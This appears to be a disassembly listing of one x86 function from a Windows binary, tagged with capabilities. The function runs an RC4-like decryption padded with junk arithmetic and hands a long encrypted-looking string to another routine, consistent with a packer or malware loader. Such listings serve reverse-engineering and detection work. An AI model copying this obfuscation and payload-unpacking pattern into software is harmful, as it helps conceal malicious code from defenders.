Function at 0x4088d0
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
push ebp
mov ecx, 9
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x15a]
mov esi, 0x42dcd6
push ebx
sub esp, 0x17c
mov edx, dword [0x429828]
mov bl, byte [str.windows_vista]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x138]
mov esi, str.Debugger_cannot_provide_handle.
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
or ecx, 0xdefafead
test bl, bl
jne 0x408922
or edx, 0x94fa762c
mov ecx, edx
mov byte [eax + ebp - 0x118], al
and ecx, 0x8e1b9927
inc eax
lea edx, [ecx + 0x18899055]
cmp eax, 0x100
jne 0x40890e
mov dword [0x429828], edx
xor esi, esi
xor ebx, ebx
xor edx, edx
mov edi, 0x1f
mov eax, ebx
mov cl, byte [ebp + ebx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x138]
movzx edx, cl
add eax, edx
add eax, esi
movzx esi, al
mov eax, dword [0x429828]
mov edx, eax
xor edx, 0x1668dc1d
cmp byte [str._cHRM_GreenX], 0
mov dword [0x429828], edx
je 0x408991
xor eax, 0x5233e945
mov dword [0x429828], eax
mov eax, dword [0x429828]
mov dl, byte [ebp + esi - 0x118]
mov byte [ebp - 0x169], cl
and eax, 0x64a23
mov byte [ebp + ebx - 0x118], dl
inc ebx
imul eax, eax, 0x932cf184
mov dword [0x429828], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov cl, byte [ebp - 0x169]
mov byte [ebp + esi - 0x118], cl
cmp ebx, 0x100
jne 0x408947
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x118]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], bl
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + esi - 0x15a]
inc esi
mov byte [esi + ebp - 0x152], al
cmp esi, 9
jne 0x4089e0
mov eax, dword [0x429828]
lea edi, [ebp - 0x148]
mov esi, 0x416130
mov byte [ebp - 0x148], 0
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
add eax, 0x312a485c
xor esi, esi
mov edi, 0x6c
or eax, 0x5fcc061c
xor eax, 0x814c71b4
mov dword [0x429828], eax
mov edx, str.windows_vista
mov al, byte [edx]
test al, al
je 0x408a84
sub eax, 0x30
cmp al, 9
jbe 0x408a81
and dword [0x429828], 0x73db7e96
jmp 0x408a84
inc edx
jmp 0x408a68
mov eax, dword [0x429828]
mov dword [esp], str._cHRM_GreenX
and eax, 0x48b70879
mov dword [esp + 4], eax
mov dword [0x429828], eax
call fcn.0040ecc8
sub edi, dword [ebp + esi*4 - 0x148]
inc esi
cmp esi, 4
jne 0x408a63
lea eax, [ebp - 0x151]
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1dc0
mov dword [esp], str.ieVBgPQDG_nMA8BdEPq1Fhj3PrAkUzBSN739QBvuzdMwtfLvNSfBKaIyvRkBVhWpx7XLxHCHbtAfr2VUk76Z8mKVeWh91hHoIeP_lQBSQkyXEkLuuq31yWjD4ap_sPYroRhnHKRILwPr8jzYauxScup_ALpY8RWGAKT0By5BNNbYozefcM51iwhyRzGjxPhsMnDXFs6znTgy5TatW1MlS0iondxhs36dfW0GNq_j2wifTfVbM0p9NG8mXJQaCfuYsDAiJQux6hfB59isGuubldbFVlOdwKKzomecccaMxixQSXW74v6vpY3JKkwaEahasJGo4ENmD1_32oQ8aG3D39uNQH_8WAaoZgR5nNIZ8kiK5gHeZQcw08UQ0BGRtVLBt5gNjdzeRPS9YXD8uP45OcNKYEsli7kU5Id_FgByl8arqG80KE3gOX_DdumApGIZQ68spZHkXmbzfQV_HNV_6zGEbOWXdHOCsvyMTgUWQ_EPn_Vsg8QT_p7DLmVUXJZUFgHAB5Ycmrr9fehK0nWElcHAbQhelHSVh0ieJmI9p9dFhGLWCAHwDw6IDRa14rKgO_IRUq98AV2fYc1QQJ5Kg9BiMK3Yrg32oVO1VroxyTuJZiIQl0qQrdhNQoTi9LlZukmkYzuxrefWRRw5AQvRb4N4dPK6yUQyZARggOIEcQPJl2tFqEDJKok2KN1MAzbmLDEPJWirQB0sRPSkdVikmlr_rHOuRz8TTAFq70yLRy95ucoukqYmfQGUhp6hCR6grTl9obIAkk1r9ItwWmzIT9mmcmmgQEB_PnAnQJgCqyF9O_7jNqS7ODtdVXIDxKR5tIWBvofoxPVw9jvO6_hU7vbeyWj7B0rK7kPxoEdZZ6KnZBNc5CSK0uiMmTx0_cDrkdDY56WkS644TsWFNbBIAQZbJtqR0yVmuouDdBFHueOBSUvJnOaEj_VoMsZ_J6IhHrnoWf5C0yAMqtjjJauAS6Q4wcU24DyHtSBwM3sw5GJoaUxwyJnMFWmAJb2hrlIVVR_vVOJxKBe4Wh3iJlX1AM1ilizJeWYO0RVYdtRXHiDFX00sikAOmQAz2_XNCv33JkfR9pbE8ZW1_LwiKjjULUZ2ZAAWLxlkUlLCZDWTFMDEzJqHEnQ5tBQFPn45dhAPOlJvQv9AHFebgKWkqjfu8q_gzOeoY4P5Rghw092PByYbzo3vKPcwjnmUGttkB4x_34OBXj0GpR7SBJxO4suktyFDg96xhCfQqpbXVLsp1PM0W6n3zt3THSIIMQNSBiYGEICOd_xMoIeWXbDexpEK6x5ZSYGGoIAvzPr55zmUxgqntje0GwyFWzArzMz_xtxLs1RE1am0BU9C0hptisqZpjd9kmjcqlzJ3F_Usy8Bk4IHZWOtTbh9J7KNMpP5CDUWCCaG3wNI3tJXa5mRFdtALXwreuWmmrbNfPF7NRIkKLHIjM6yFr9GsRlwOfFtsxMDKEjLpZiGef7fBIksJVqWUmKvO6_f8nvy2reZPmQw4TcDPOmO5c2AnCFlst7LjziHY2wA8QJRveidoQxlQYNFjUjPEi9v_z9eMvElEFU9ExQeuhH38xRmspQUw9fDOCsA38FDltp3PFGPbsRdQa6KwGojiK1smIuaPKeV5od9xMBlbF1ReZ7hrPhLY6KBbOBKOZSfzIfHF_181gZZ6aKCtK0z_eOXKgBuRFneqRZ6uJIGe4SgJWFv8jUBw3S4Vb9sC7Fo0lvtBu08CJ8BxDFHizqZaEXcfJBUyrl3otKIBEg5y52_wrFn60WF_RubQ4dhqBXS_2oZqCfUCgMz9wVv2hpGkotI8iJzrdQxiMCHAjdkHI_R1YPZzTpQdnkumw72iLMnMBxtQyWCuNvEGtNGDnIJgd0fbjXuXBMwpoEUTx_EN0E6uhsf5cYCOhvr_4vIlzksBBI7yKgXRhj21Z3uaMCNXddEONHOS9jjX_6wwKxAaoigfcXfbWReW9zCghrMcEEtvL4Fmwwhqh5uabNt7rHwNGMtqzKPdukSktKjIgMBZSxv4czypW70WbsCwv8PG_eitoQFGQUJ5iXJ0_erYIqa5hLBOH7AM6bF75qV8b6HhCnDjAJXZSdwqr4Vly_GlufTunObj1OLRSFUoSKd6P79s1lygp1Jsz0yC0RdoRVRaAJU_U9YyMiKjS83b1D9CnnnnlB9rC2hxlrEPjMIaY5mMUCYUo9owh3DMXZ_t6IcxFYonBk1b9pIkxXLlPEDGsc2fInFVGvZRT60dvS7n5OTHuEdNV_zi2yo69OsxQV0rXkUiFcNWp1s8SFBaqwrtWuqxOAD_3_LqFOZJGDHwfdOI60cZPx0Uo4NZ6lFihFVM5NWDQJomtMRWTK06fnvSOAPa1Na34cggVIjpvCwllUNmbh56FWNTfdJpOfLsauHwC3Vswcq2GlUcx9Ld_tsI5kM89hfnF08BY7hu0Uw6bXtsPpCsSCyp1U085X79q635dGLgvuaqbFUptvJ007O6s9pzV630uDhhzAQfTn1x3frJiIA_Wwpvry6qUKHwBVHgLClLQJB4q4UN9Q9xRjmJhQ6mK81o29eRNd2JOrk3wz14BbmdO2SuJi5RQlblM9bdZNESFongjnA1NJFS8Kt3ZS2_trEFVFCswZ8t7DHQhThFglZysi7db4ThNbwkmxXd6SwRIfmGgOLammDw481szRdoFvTA_BieSTwMYZq8ZPVO2RL4ZJbWIbzHKA3isn89pGQTm82Ozat_vUdsd7nl2iSx4b4_jL6WOvDu8sevrZX4AczBe1_QR16NFQkvYdXcpKhXBQRnHasg14AELSf0i020SOFer0MhiyCHqffgHDG2ErievAH2cAGxisdd5gdl0tPVTRqtm3gyLQjzk5o91y7iutUr4VMV9SVmHe8tetxRRCkGGLRb5skHMW3bSOJVPeHC1WiIpA46wdfcm6ddI83Iyxl8DpUKYICnk_dGg_rHYZxTTUtMU69df0tD1EgV38ZtxxsEuLQ9KJmgoWOzMjYtIODwt0J6IlMj69KkLIIRrC9Z1nayQmqTH7AKoohFJpFcvYtfJH4dadtTJuCww7iQdBuezNh6lT31w4vz9axxISiNKHQO3tYffsTx4KxeQmKI1BA9a_cjIFOgvL9AqqGCfNOGQguFBuo2p5dIRM6D3BLzjeWtqzt8ONCICNK8wIVbnzkAQOsDGeJUtO3FtCeh9vGYhRhBdh3epXM9_zitAV8oRe0NbvFzjwp9yZ_7fZUWMx_CtT48nXHhW2u4vefE1f5wmuWLzrbNEFYUV287alTqFZKn2G4H5ijBzxoW6ZMNerKytSqsYbRfQuZ27ragl9HrljkomUvU0DzApv8lZG4SESy3WF0SEL6pTwJcYrVEvzH_zM4dFzX6k19VSY1IMoQQv7yVA8PodxfAOxZTIUW7x_TsQinO8To0r8e9mTvhtUlr1zCZ4QFQbg4RGv5o2Fj4laUUfEMvUdMrPwKA5BJq6KyT_Py17J2pKnlBccAP7qLTG1bGruJbJo4Ni1APnm76d4zP_jOInL3sZpoLhgtglRQxUyRJvhrMelv1xeNwWzm7nYn9gGY3YhHsCTyMwZsr0kPv6AU0YJCnn0mqV7_KCqgUiYC9W3W8ZdFuS24e8IxarwNU7COt24Bf813Cpdt5joKYIYlKZcOoVPh9R1JlAYnO6HY12mkJhmzav3D0irF9lUo7EWy1rj_zyYkdduQKu3lDrtCEwXirDSkQaOUvdmgWIsKbFa62ijvrBsMA_UJFwkXl8sx_r7V5YBFqyUUuGYPARdaJ6vunx4q9G7cCl9mv6rFlJOQl6X8_dXaIdxihXuzYlaQD7t4cUA9sljSN5kMU62AAzgxzbtiNuF1z5b3G1KaB2_RHD0QofAG__uLeOGNmkLsdnRTfqw1yV_OrFBru0X5B5wzjLMKmHEZnT8AHtRV_OR9Q1BKrj7rmchtH1_Vm2WGRJfU9zm9VljdDvZ1YsV6LRIPBjjf0bzYKwXjLxq8YUtpSrtvQjkImjCLQTjrea0pW5YC
call fcn.0040be04
add esp, 0x17c
pop ebx
pop esi
pop edi
pop ebp
ret